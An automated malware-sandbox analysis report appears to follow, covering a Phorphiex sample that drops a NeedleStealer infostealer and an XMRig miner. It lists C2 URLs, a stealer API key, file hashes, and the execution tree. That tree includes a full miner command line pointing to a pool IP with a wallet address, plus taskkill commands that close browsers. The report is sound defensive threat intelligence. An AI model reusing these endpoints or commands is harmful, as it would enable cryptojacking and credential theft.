Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/07/2026, 23:30

General

  • Target
    file.exe
  • Size 11KB
  • Sample260706-3hlbqsdt4t
  • SHA256 ca9c127d65c5e9839cf02053e8dffb3869f086bd606badbfbf866e348db12612
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • phorphiex

C2
  • http://91.92.242.107/lmix/

  • http://178.16.55.240/nmixx/

  • http://178.16.55.240/nmix/

  • http://178.16.55.240/

  • http://130.12.180.190/us/

  • http://130.12.180.190/xxx/

Mutex
  • aefaeffea

Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36

Extracted

Family
  • needle_stealer

C2
  • http://130.12.180.135:3000/api/v2

Attributes
  • api_key

    alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f

  • base_extension

    false

  • self_destruct

    false

Signatures

  • Family: NeedleStealer

    NeedleStealer is a modular stealer written in Golang.

  • Family: Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Detects NeedleStealer payload 1 IoCs
  • XMRig Miner payload 2 IoCs
  • Downloads MZ/PE file 9 IoCs
  • Executes dropped EXE 12 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Downloads MZ/PE file
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Users\Admin\AppData\Local\Temp\4105618216.exe
      C:\Users\Admin\AppData\Local\Temp\4105618216.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4820
    • C:\Users\Admin\AppData\Local\Temp\2654629541.exe
      C:\Users\Admin\AppData\Local\Temp\2654629541.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1660
    • C:\Users\Admin\AppData\Local\Temp\1161739851.exe
      C:\Users\Admin\AppData\Local\Temp\1161739851.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:5148
    • C:\Users\Admin\AppData\Local\Temp\2422817490.exe
      C:\Users\Admin\AppData\Local\Temp\2422817490.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:472
    • C:\Users\Admin\AppData\Local\Temp\3945327848.exe
      C:\Users\Admin\AppData\Local\Temp\3945327848.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1388
    • C:\Users\Admin\AppData\Local\Temp\1929638256.exe
      C:\Users\Admin\AppData\Local\Temp\1929638256.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:556
    • C:\Users\Admin\AppData\Local\Temp\3713515797.exe
      C:\Users\Admin\AppData\Local\Temp\3713515797.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3512
    • C:\Users\Admin\AppData\Local\Temp\1145826103.exe
      C:\Users\Admin\AppData\Local\Temp\1145826103.exe
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4756
      • C:\Users\Admin\sysmgnrsv.exe
        C:\Users\Admin\sysmgnrsv.exe
        3⤵
        • Executes dropped EXE
        PID:2608
      • C:\sysfrodolv.exe
        \sysfrodolv.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6116
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4612
          • C:\Users\Admin\sysmgnrsv.exe
            C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:3904
    • C:\Users\Admin\AppData\Local\Temp\1302836308.exe
      C:\Users\Admin\AppData\Local\Temp\1302836308.exe
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3496
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM msedge.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2876
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM chrome.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5720
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM msedgewebview2.exe /T
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1880

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        1145826103.exe

        • Path C:\Users\Admin\AppData\Local\Temp\1145826103.exe
        • Size 12KB
        • SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
        • MD5 SHA1 SHA512 SSDEEP TLSH

        1161739851.exe

        • Path C:\Users\Admin\AppData\Local\Temp\1161739851.exe
        • Size 15KB
        • SHA256 ac39d18b75cecb1c62e4b70e3343bc8b8fc2b69b10e6c7d4ab3340031073804c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        1302836308.exe

        • Path C:\Users\Admin\AppData\Local\Temp\1302836308.exe
        • Size 8.3MB
        • SHA256 1b963ea63828c83ff15a12fe84ff83ab970e02bcfb9996e5835052e9537224c3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        1929638256.exe

        • Path C:\Users\Admin\AppData\Local\Temp\1929638256.exe
        • Size 15KB
        • SHA256 f3121b85cca17df3fe49fe45f70a3afbdf7861bcb5057a46bc8f79e6475795e2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2422817490.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2422817490.exe
        • Size 15KB
        • SHA256 5ad4fbf16c18e012d7a5f98b4900b45531e134ccbaf2a21d0b40d9066550f92b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2654629541.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2654629541.exe
        • Size 15KB
        • SHA256 3b2466d82fa7901766556b9f64fc16440477a2791fb9df01ee9d9c7c4b016c06
        • MD5 SHA1 SHA512 SSDEEP TLSH

        3713515797.exe

        • Path C:\Users\Admin\AppData\Local\Temp\3713515797.exe
        • Size 15KB
        • SHA256 2012c7af2da6b649bc2bb58f54837b200cafecc44ceda8d5e2e43b0ea205ac97
        • MD5 SHA1 SHA512 SSDEEP TLSH

        3945327848.exe

        • Path C:\Users\Admin\AppData\Local\Temp\3945327848.exe
        • Size 15KB
        • SHA256 94c0b9560299cbe10c23b062f08849ac03e2bed78a71581e3adf5ddc015ca615
        • MD5 SHA1 SHA512 SSDEEP TLSH

        4105618216.exe

        • Path C:\Users\Admin\AppData\Local\Temp\4105618216.exe
        • Size 18KB
        • SHA256 f70b6a0341300dbb1fcad771e03a62544a9bb00abc14161cdcfb68b4022abdf7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sysmgnrsv.exe

        • Path C:\Users\Admin\sysmgnrsv.exe
        • Size 6.2MB
        • SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2608-62-0x000001D5892F0000-0x000001D589310000-memory.dmp